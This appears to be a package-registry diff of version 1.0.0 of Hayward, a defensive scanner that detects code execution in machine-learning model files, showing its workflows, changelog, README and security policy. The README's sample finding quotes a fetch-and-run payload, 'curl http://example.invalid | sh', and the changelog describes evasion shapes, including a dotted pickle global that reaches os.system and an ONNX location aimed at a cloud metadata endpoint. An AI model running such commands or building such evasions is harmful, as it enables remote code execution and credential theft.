hayward 1.0.0__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,14 @@
1
+ {
2
+ "permissions": {
3
+ "allow": [
4
+ "Bash(git -C /Users/kennethcox/Developer/projects/hayward log --oneline -20)",
5
+ "Bash(python3 -m hayward.gui)",
6
+ "Bash(uv venv *)",
7
+ "Bash(uv pip *)",
8
+ "Bash(.venv/bin/python -c \"import hayward; print\\('ok', hayward.__version__\\)\")",
9
+ "Bash(.venv/bin/python -m hayward.gui)",
10
+ "Bash(.venv/bin/python -m pytest tests/ -q)",
11
+ "Read(//Users/kennethcox/Developer/projects/**)"
12
+ ]
13
+ }
14
+ }
@@ -0,0 +1,37 @@
1
+ name: CI
2
+
3
+ on:
4
+ push:
5
+ branches: [main]
6
+ pull_request:
7
+
8
+ jobs:
9
+ test:
10
+ strategy:
11
+ fail-fast: false
12
+ matrix:
13
+ python-version: ["3.10", "3.11", "3.12", "3.13"]
14
+ os: [ubuntu-latest, macos-latest, windows-latest]
15
+ runs-on: ${{ matrix.os }}
16
+ steps:
17
+ - uses: actions/checkout@v4
18
+ - uses: actions/setup-python@v5
19
+ with:
20
+ python-version: ${{ matrix.python-version }}
21
+ - run: pip install -e ".[dev]"
22
+ - run: pytest
23
+ # The scanner reads hostile input, so a crash is a security defect and
24
+ # not merely a failed test. This runs the CLI over the test fixtures to
25
+ # catch anything that escapes as an unhandled exception.
26
+ - run: hayward scan tests --fail-on never
27
+ shell: bash
28
+
29
+ lint:
30
+ runs-on: ubuntu-latest
31
+ steps:
32
+ - uses: actions/checkout@v4
33
+ - uses: actions/setup-python@v5
34
+ with:
35
+ python-version: "3.12"
36
+ - run: pip install -e ".[dev]"
37
+ - run: ruff check .
@@ -0,0 +1,33 @@
1
+ name: Publish to PyPI
2
+
3
+ on:
4
+ release:
5
+ types: [published]
6
+
7
+ jobs:
8
+ build:
9
+ runs-on: ubuntu-latest
10
+ steps:
11
+ - uses: actions/checkout@v4
12
+ - uses: actions/setup-python@v5
13
+ with:
14
+ python-version: "3.12"
15
+ - run: pip install build
16
+ - run: python -m build
17
+ - uses: actions/upload-artifact@v4
18
+ with:
19
+ name: dist
20
+ path: dist/
21
+
22
+ publish:
23
+ needs: build
24
+ runs-on: ubuntu-latest
25
+ environment: pypi
26
+ permissions:
27
+ id-token: write
28
+ steps:
29
+ - uses: actions/download-artifact@v4
30
+ with:
31
+ name: dist
32
+ path: dist/
33
+ - uses: pypa/gh-action-pypi-publish@release/v1
@@ -0,0 +1,12 @@
1
+ __pycache__/
2
+ *.py[cod]
3
+ .venv/
4
+ venv/
5
+ *.egg-info/
6
+ dist/
7
+ build/
8
+ .pytest_cache/
9
+ .ruff_cache/
10
+ .coverage
11
+ htmlcov/
12
+ .DS_Store
@@ -0,0 +1,88 @@
1
+ # Changelog
2
+
3
+ Notable changes, newest first. Versions follow [semantic versioning](https://semver.org).
4
+ Rule identifiers are part of the public interface and will not be renamed
5
+ within a major version.
6
+
7
+ ## 1.0.0 (2026-08-06)
8
+
9
+ First release. The scanner was developed inside a larger static-analysis tool
10
+ and is published here as a standalone package, with its own command line,
11
+ desktop window and test suite.
12
+
13
+ ### Formats
14
+
15
+ Pickle and every container that carries one (PyTorch zip and legacy layouts,
16
+ joblib behind zlib, gzip, bz2, lzma or xz, NumPy `.npy` and `.npz`, TorchServe
17
+ `.mar`, NVIDIA NeMo `.nemo`, skops), plus SafeTensors, GGUF, Keras H5 and
18
+ `.keras`, ONNX, TensorFlow SavedModel, TFLite and PMML. Format is decided by
19
+ magic bytes, and a file whose extension disagrees with its content is
20
+ reported.
21
+
22
+ ### Detection
23
+
24
+ - Pickle streams are walked as opcodes with `pickletools`. Nothing is
25
+ imported, deserialised or executed.
26
+ - An unknown callable is judged by the arguments it was resolved with, not by
27
+ its name: a URL, a shell command, a `(host, port)` pair or a literal naming
28
+ a denied function each promote it to an actionable finding. This is what
29
+ catches gadgets that are on no list.
30
+ - A second pickle stream carried as a bytes literal is scanned too
31
+ (`MFV-PICKLE-008`): `numpy.load(BytesIO(<pickle>))` is the pattern, where
32
+ the outer callable is on no deny list and the payload exists only once the
33
+ inner bytes are read.
34
+ - Dotted `GLOBAL` names are resolved segment by segment, the way
35
+ `Unpickler.find_class` resolves them. `GLOBAL "torch" "serialization.os.system"`
36
+ reaches `os.system` on load, but a deny list keyed on the joined string sees
37
+ only `torch.serialization.os.system` and files it as unknown. The shape
38
+ appears in PickleBall's published corpus.
39
+ - Container arithmetic is replayed against the file for GGUF, SafeTensors and
40
+ TFLite, covering the integer-overflow class behind CVE-2025-53630,
41
+ CVE-2026-27940, CVE-2026-33298 and CVE-2026-42627.
42
+ - Tensor names are validated as paths wherever tooling would write them to
43
+ one, covering traversal segments, absolute and drive-absolute paths, and
44
+ embedded NUL or newline. Part of `MFV-ST-006` and `MFV-GGUF-005`.
45
+ - ONNX `external_data` is checked for keys beyond the four the format
46
+ defines (CVE-2026-34445) and for locations that are absolute, traversing,
47
+ or off the filesystem entirely. A published proof of concept points a
48
+ location at `169.254.169.254`, so loading the model reaches the cloud
49
+ metadata endpoint (`MFV-ONNX-004`).
50
+ - PMML is checked for external entity declarations, where the read primitive
51
+ needs no code execution at all.
52
+ - Embedded PE, ELF and Mach-O images are reported. No serialisation format
53
+ writes one.
54
+
55
+ ### Coverage reporting
56
+
57
+ Every failure to read a file produces a finding rather than silence.
58
+ `MFV-SKIP-001`, `MFV-SKIP-002`, `MFV-SKIP-003`, `MFV-7Z-001` and
59
+ `MFV-GGUF-004` all mean analysis did not complete, and
60
+ `hayward.is_coverage_gap()` identifies them.
61
+
62
+ This closes the exception-oriented evasion described in
63
+ [arXiv 2508.19774](https://arxiv.org/abs/2508.19774), where a payload is
64
+ placed behind a deliberate parse error so the scanner reports nothing while
65
+ the target framework loads the file anyway. Both the raising and the silent
66
+ variants are handled: a container walk that ends early is detected by checking
67
+ that it consumed the whole file, since iteration ending is not proof the file
68
+ ended.
69
+
70
+ ### Interfaces
71
+
72
+ - `hayward scan` with text and JSON output, a configurable `--fail-on`
73
+ threshold, and `--fail-on-coverage` for builds that should not pass on an
74
+ unread file.
75
+ - `hayward-gui`, a single tkinter window. No added dependency.
76
+ - `ModelFileScanner.scan_file` and `.scan_directory` as the library API.
77
+
78
+ ### Measured position
79
+
80
+ Against 215 hash-pinned models from the HuggingFace Hub: nothing above INFO,
81
+ 5 files in the INFO tier. Against picklescan's test corpus: 34 of 35 malicious
82
+ files, the miss being a `.7z` archive with no extractor installed. Against
83
+ PickleCloak: 49 of 57 exploits and 91 of 97 gadget chains. Against MalHug:
84
+ 87 of 87 read and detected, 86 naming the sink the corpus records.
85
+
86
+ All self-measured against corpora that do not ship in this repository, using
87
+ a harness that is not published yet. Not reproducible by a reader today; see
88
+ docs/accuracy.md.
hayward-1.0.0/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Hedgerow
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
hayward-1.0.0/NOTICE ADDED
@@ -0,0 +1,20 @@
1
+ Hayward
2
+ Copyright (c) 2026 Hedgerow
3
+
4
+ This product includes data derived from picklescan
5
+ (https://github.com/mmaitre314/picklescan), copyright (c) Matthieu Maitre,
6
+ licensed under the MIT License.
7
+
8
+ Specifically, the list of dangerous global references in
9
+ hayward/scanner.py (`PICKLE_DENIED_GLOBALS` and `_PICKLE_DENIED_MODULES`)
10
+ was harvested from picklescan's `_unsafe_globals`, including its
11
+ whole-module wildcard entries. Those entries carry inline comments in the
12
+ source recording their origin.
13
+
14
+ We measured what that data is worth rather than assuming it. Removing every
15
+ picklescan-derived entry costs 9 of 35 detections on picklescan's own test
16
+ corpus. The list is load-bearing, and picklescan deserves the credit.
17
+
18
+ This product also depends on defusedxml (https://github.com/tiran/defusedxml),
19
+ copyright (c) Christian Heimes, licensed under the Python Software Foundation
20
+ License.
hayward-1.0.0/PKG-INFO ADDED
@@ -0,0 +1,175 @@
1
+ Metadata-Version: 2.4
2
+ Name: hayward
3
+ Version: 1.0.0
4
+ Summary: Security scanner for machine-learning model files: detects code execution in pickle, GGUF, ONNX, Keras and other checkpoints
5
+ Project-URL: Homepage, https://github.com/hedgerow-dev/hayward
6
+ Project-URL: Source, https://github.com/hedgerow-dev/hayward
7
+ Project-URL: Issues, https://github.com/hedgerow-dev/hayward/issues
8
+ Author-email: Hedgerow <hello@hedgerow.dev>
9
+ License: MIT License
10
+
11
+ Copyright (c) 2026 Hedgerow
12
+
13
+ Permission is hereby granted, free of charge, to any person obtaining a copy
14
+ of this software and associated documentation files (the "Software"), to deal
15
+ in the Software without restriction, including without limitation the rights
16
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
17
+ copies of the Software, and to permit persons to whom the Software is
18
+ furnished to do so, subject to the following conditions:
19
+
20
+ The above copyright notice and this permission notice shall be included in all
21
+ copies or substantial portions of the Software.
22
+
23
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
24
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
25
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
26
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
27
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
28
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
29
+ SOFTWARE.
30
+ License-File: LICENSE
31
+ License-File: NOTICE
32
+ Keywords: ai-security,deserialization,machine-learning,malware-detection,mlsecops,pickle,security,security-scanner,supply-chain,vulnerability-scanner
33
+ Classifier: Development Status :: 5 - Production/Stable
34
+ Classifier: Environment :: Console
35
+ Classifier: Intended Audience :: Developers
36
+ Classifier: Intended Audience :: Information Technology
37
+ Classifier: License :: OSI Approved :: MIT License
38
+ Classifier: Programming Language :: Python :: 3
39
+ Classifier: Programming Language :: Python :: 3.10
40
+ Classifier: Programming Language :: Python :: 3.11
41
+ Classifier: Programming Language :: Python :: 3.12
42
+ Classifier: Programming Language :: Python :: 3.13
43
+ Classifier: Topic :: Security
44
+ Classifier: Typing :: Typed
45
+ Requires-Python: >=3.10
46
+ Requires-Dist: defusedxml<1.0,>=0.7
47
+ Provides-Extra: dev
48
+ Requires-Dist: pytest<9.0,>=8.0; extra == 'dev'
49
+ Requires-Dist: ruff<1.0,>=0.4; extra == 'dev'
50
+ Description-Content-Type: text/markdown
51
+
52
+ # Hayward
53
+
54
+ **Security scanner for machine-learning model files.** Know whether a
55
+ checkpoint will run code on your machine, before you load it.
56
+
57
+ ![License MIT](https://img.shields.io/badge/license-MIT-013D5A?style=flat-square&labelColor=013D5A)
58
+ ![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-013D5A?style=flat-square&labelColor=013D5A)
59
+ ![Rules 42](https://img.shields.io/badge/rules-42-013D5A?style=flat-square&labelColor=013D5A)
60
+ ![Dependencies 1](https://img.shields.io/badge/dependencies-1-708C69?style=flat-square&labelColor=013D5A)
61
+ ![No outbound calls](https://img.shields.io/badge/outbound_calls-none-F4A25B?style=flat-square&labelColor=013D5A)
62
+
63
+ ```bash
64
+ pip install hayward
65
+ hayward scan ./models
66
+ ```
67
+
68
+ ```
69
+ CRITICAL MFV-PICKLE-001 checkpoints/model.pt
70
+ Pickle file references unsafe callable(s) that grant code/command
71
+ execution on load: posix.system('curl http://example.invalid | sh').
72
+
73
+ 1 finding(s): 1 critical
74
+ ```
75
+
76
+ ## The problem
77
+
78
+ `torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
79
+ from the file they read. That is not a bug, it is what pickle does.
80
+
81
+ The file is named `pytorch_model.bin`, and the `.bin` is doing a lot of work
82
+ in that sentence. It is a program. Loading it is running it, on your laptop,
83
+ with your credentials, as you.
84
+
85
+ ## Who it is for
86
+
87
+ Teams that pull checkpoints from public hubs and want the check to run in a CI
88
+ pipeline, on a laptop, or inside a regulated environment where nothing is
89
+ allowed to leave the network.
90
+
91
+ ## What makes it different
92
+
93
+ **It stays quiet.** Zero findings above INFO across 215 real models from the
94
+ HuggingFace Hub, and five findings at INFO, the tier for content it could not
95
+ verify. A gate that cries wolf gets switched off. That figure is
96
+ **self-measured and not yet reproducible**: the corpus and harness are not
97
+ published. [Accuracy](docs/accuracy.md) sets out what it does and does not
98
+ support.
99
+
100
+ **It tells you when it could not look.** A file it cannot parse produces an
101
+ explicit finding, never silence. Attackers hide payloads behind deliberate
102
+ parse errors, and a clean report should mean the file was read.
103
+
104
+ **It catches gadgets nobody has listed.** Unknown callables are judged by the
105
+ arguments they were handed, not by their name. A URL, a shell command, a host
106
+ and port. That is what generalises past the deny list.
107
+
108
+ **It installs anywhere.** One dependency, no model framework, no native
109
+ extensions, no network. Python 3.10 and up.
110
+
111
+ **It fits a build.** Documented exit codes, JSON output, a threshold you set.
112
+
113
+ ## What it scans
114
+
115
+ | | Formats |
116
+ |---|---|
117
+ | **Pickle, and everything that wraps it** | PyTorch (zip and legacy), joblib, NumPy `.npy` / `.npz`, TorchServe `.mar`, NVIDIA NeMo, skops |
118
+ | **Tensor containers** | SafeTensors, GGUF, TFLite |
119
+ | **Graph formats** | ONNX, TensorFlow SavedModel, Keras (H5 and `.keras`), PMML |
120
+
121
+ 24 extensions in total. **Format comes from magic bytes**, so a payload
122
+ renamed `weights.safetensors` does not walk past on the strength of its
123
+ extension.
124
+
125
+ ## Three ways to run it
126
+
127
+ ```bash
128
+ hayward scan ./models # command line
129
+ hayward scan ./models -f html -o report.html # shareable report
130
+ hayward-gui # desktop window
131
+ ```
132
+
133
+ ```python
134
+ from hayward import ModelFileScanner
135
+ findings = ModelFileScanner().scan_directory(Path("models"))
136
+ ```
137
+
138
+ ## What a clean result means
139
+
140
+ That Hayward read the files and recognised nothing dangerous in them. Not that
141
+ the model is safe. It is a smoke alarm, not a survey of the building, and
142
+ [coverage](docs/coverage.md) is the page where it owns up to the rooms it
143
+ could not get into.
144
+
145
+ ## Documentation
146
+
147
+ - [Usage](docs/usage.md): CLI reference, exit codes, CI, the GUI, the Python API
148
+ - [Rules](docs/rules.md): all 42 rules with severities and CWE mappings
149
+ - [Coverage](docs/coverage.md): what it does when it cannot read a file, and why that is a finding
150
+ - [How it works](docs/how-it-works.md): how it reads pickle without running it, and how unknown callables are judged by their arguments
151
+ - [Accuracy](docs/accuracy.md): measured results, the caveats, and where it loses
152
+
153
+ ## Contributing
154
+
155
+ The most useful contribution is a file Hayward gets wrong. False alarms count
156
+ just as much as misses. A scanner nobody trusts is a scanner nobody runs, and
157
+ then it may as well not exist.
158
+
159
+ ```bash
160
+ git clone https://github.com/hedgerow-dev/hayward
161
+ cd hayward && pip install -e ".[dev]" && pytest
162
+ ```
163
+
164
+ ## Security
165
+
166
+ Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an
167
+ issue. Input that crashes the scanner counts: under a CI gate, a crash is
168
+ indistinguishable from a scan that never ran.
169
+
170
+ ## Licence
171
+
172
+ MIT. See [LICENSE](LICENSE) and [NOTICE](NOTICE).
173
+
174
+ A *hayward* was the parish officer who walked the hedges, checked the gaps and
175
+ impounded whatever had got through.
@@ -0,0 +1,124 @@
1
+ # Hayward
2
+
3
+ **Security scanner for machine-learning model files.** Know whether a
4
+ checkpoint will run code on your machine, before you load it.
5
+
6
+ ![License MIT](https://img.shields.io/badge/license-MIT-013D5A?style=flat-square&labelColor=013D5A)
7
+ ![Python 3.10+](https://img.shields.io/badge/python-3.10%2B-013D5A?style=flat-square&labelColor=013D5A)
8
+ ![Rules 42](https://img.shields.io/badge/rules-42-013D5A?style=flat-square&labelColor=013D5A)
9
+ ![Dependencies 1](https://img.shields.io/badge/dependencies-1-708C69?style=flat-square&labelColor=013D5A)
10
+ ![No outbound calls](https://img.shields.io/badge/outbound_calls-none-F4A25B?style=flat-square&labelColor=013D5A)
11
+
12
+ ```bash
13
+ pip install hayward
14
+ hayward scan ./models
15
+ ```
16
+
17
+ ```
18
+ CRITICAL MFV-PICKLE-001 checkpoints/model.pt
19
+ Pickle file references unsafe callable(s) that grant code/command
20
+ execution on load: posix.system('curl http://example.invalid | sh').
21
+
22
+ 1 finding(s): 1 critical
23
+ ```
24
+
25
+ ## The problem
26
+
27
+ `torch.load`, `joblib.load` and `numpy.load(allow_pickle=True)` execute code
28
+ from the file they read. That is not a bug, it is what pickle does.
29
+
30
+ The file is named `pytorch_model.bin`, and the `.bin` is doing a lot of work
31
+ in that sentence. It is a program. Loading it is running it, on your laptop,
32
+ with your credentials, as you.
33
+
34
+ ## Who it is for
35
+
36
+ Teams that pull checkpoints from public hubs and want the check to run in a CI
37
+ pipeline, on a laptop, or inside a regulated environment where nothing is
38
+ allowed to leave the network.
39
+
40
+ ## What makes it different
41
+
42
+ **It stays quiet.** Zero findings above INFO across 215 real models from the
43
+ HuggingFace Hub, and five findings at INFO, the tier for content it could not
44
+ verify. A gate that cries wolf gets switched off. That figure is
45
+ **self-measured and not yet reproducible**: the corpus and harness are not
46
+ published. [Accuracy](docs/accuracy.md) sets out what it does and does not
47
+ support.
48
+
49
+ **It tells you when it could not look.** A file it cannot parse produces an
50
+ explicit finding, never silence. Attackers hide payloads behind deliberate
51
+ parse errors, and a clean report should mean the file was read.
52
+
53
+ **It catches gadgets nobody has listed.** Unknown callables are judged by the
54
+ arguments they were handed, not by their name. A URL, a shell command, a host
55
+ and port. That is what generalises past the deny list.
56
+
57
+ **It installs anywhere.** One dependency, no model framework, no native
58
+ extensions, no network. Python 3.10 and up.
59
+
60
+ **It fits a build.** Documented exit codes, JSON output, a threshold you set.
61
+
62
+ ## What it scans
63
+
64
+ | | Formats |
65
+ |---|---|
66
+ | **Pickle, and everything that wraps it** | PyTorch (zip and legacy), joblib, NumPy `.npy` / `.npz`, TorchServe `.mar`, NVIDIA NeMo, skops |
67
+ | **Tensor containers** | SafeTensors, GGUF, TFLite |
68
+ | **Graph formats** | ONNX, TensorFlow SavedModel, Keras (H5 and `.keras`), PMML |
69
+
70
+ 24 extensions in total. **Format comes from magic bytes**, so a payload
71
+ renamed `weights.safetensors` does not walk past on the strength of its
72
+ extension.
73
+
74
+ ## Three ways to run it
75
+
76
+ ```bash
77
+ hayward scan ./models # command line
78
+ hayward scan ./models -f html -o report.html # shareable report
79
+ hayward-gui # desktop window
80
+ ```
81
+
82
+ ```python
83
+ from hayward import ModelFileScanner
84
+ findings = ModelFileScanner().scan_directory(Path("models"))
85
+ ```
86
+
87
+ ## What a clean result means
88
+
89
+ That Hayward read the files and recognised nothing dangerous in them. Not that
90
+ the model is safe. It is a smoke alarm, not a survey of the building, and
91
+ [coverage](docs/coverage.md) is the page where it owns up to the rooms it
92
+ could not get into.
93
+
94
+ ## Documentation
95
+
96
+ - [Usage](docs/usage.md): CLI reference, exit codes, CI, the GUI, the Python API
97
+ - [Rules](docs/rules.md): all 42 rules with severities and CWE mappings
98
+ - [Coverage](docs/coverage.md): what it does when it cannot read a file, and why that is a finding
99
+ - [How it works](docs/how-it-works.md): how it reads pickle without running it, and how unknown callables are judged by their arguments
100
+ - [Accuracy](docs/accuracy.md): measured results, the caveats, and where it loses
101
+
102
+ ## Contributing
103
+
104
+ The most useful contribution is a file Hayward gets wrong. False alarms count
105
+ just as much as misses. A scanner nobody trusts is a scanner nobody runs, and
106
+ then it may as well not exist.
107
+
108
+ ```bash
109
+ git clone https://github.com/hedgerow-dev/hayward
110
+ cd hayward && pip install -e ".[dev]" && pytest
111
+ ```
112
+
113
+ ## Security
114
+
115
+ Report vulnerabilities in Hayward to hello@hedgerow.dev rather than in an
116
+ issue. Input that crashes the scanner counts: under a CI gate, a crash is
117
+ indistinguishable from a scan that never ran.
118
+
119
+ ## Licence
120
+
121
+ MIT. See [LICENSE](LICENSE) and [NOTICE](NOTICE).
122
+
123
+ A *hayward* was the parish officer who walked the hedges, checked the gaps and
124
+ impounded whatever had got through.
@@ -0,0 +1,36 @@
1
+ # Security policy
2
+
3
+ ## Reporting a vulnerability
4
+
5
+ Email hello@hedgerow.dev. Please do not open a public issue for a security
6
+ report.
7
+
8
+ Include what you have: a file that reproduces it, the version, and what you
9
+ expected. A minimal reproduction is worth more than a description.
10
+
11
+ ## What counts
12
+
13
+ **Input that crashes the scanner is a security issue.** Hayward reads hostile
14
+ files by design. It does not execute them, but it is a parser, and under a CI
15
+ gate an unhandled exception is indistinguishable from a scan that never ran.
16
+ An attacker who can crash the scanner has bypassed it.
17
+
18
+ **A file that scans clean and should not** is a security issue. Include the
19
+ file or a script that builds it.
20
+
21
+ **A file that scans clean because Hayward could not read it** is a bug in the
22
+ coverage reporting rather than a bypass, and still worth reporting. Every
23
+ parse failure is supposed to produce a finding. If one does not, that is the
24
+ defect.
25
+
26
+ ## What does not count
27
+
28
+ Findings on files that are genuinely unusual are not vulnerabilities. The INFO
29
+ tier exists for content the scanner cannot verify, and it is meant to be
30
+ populated. If you think a rule is too noisy on real models, open an issue with
31
+ the model rather than a security report.
32
+
33
+ ## Handling
34
+
35
+ We will acknowledge within a few working days, agree a disclosure date with
36
+ you, and credit you in the changelog unless you would rather we did not.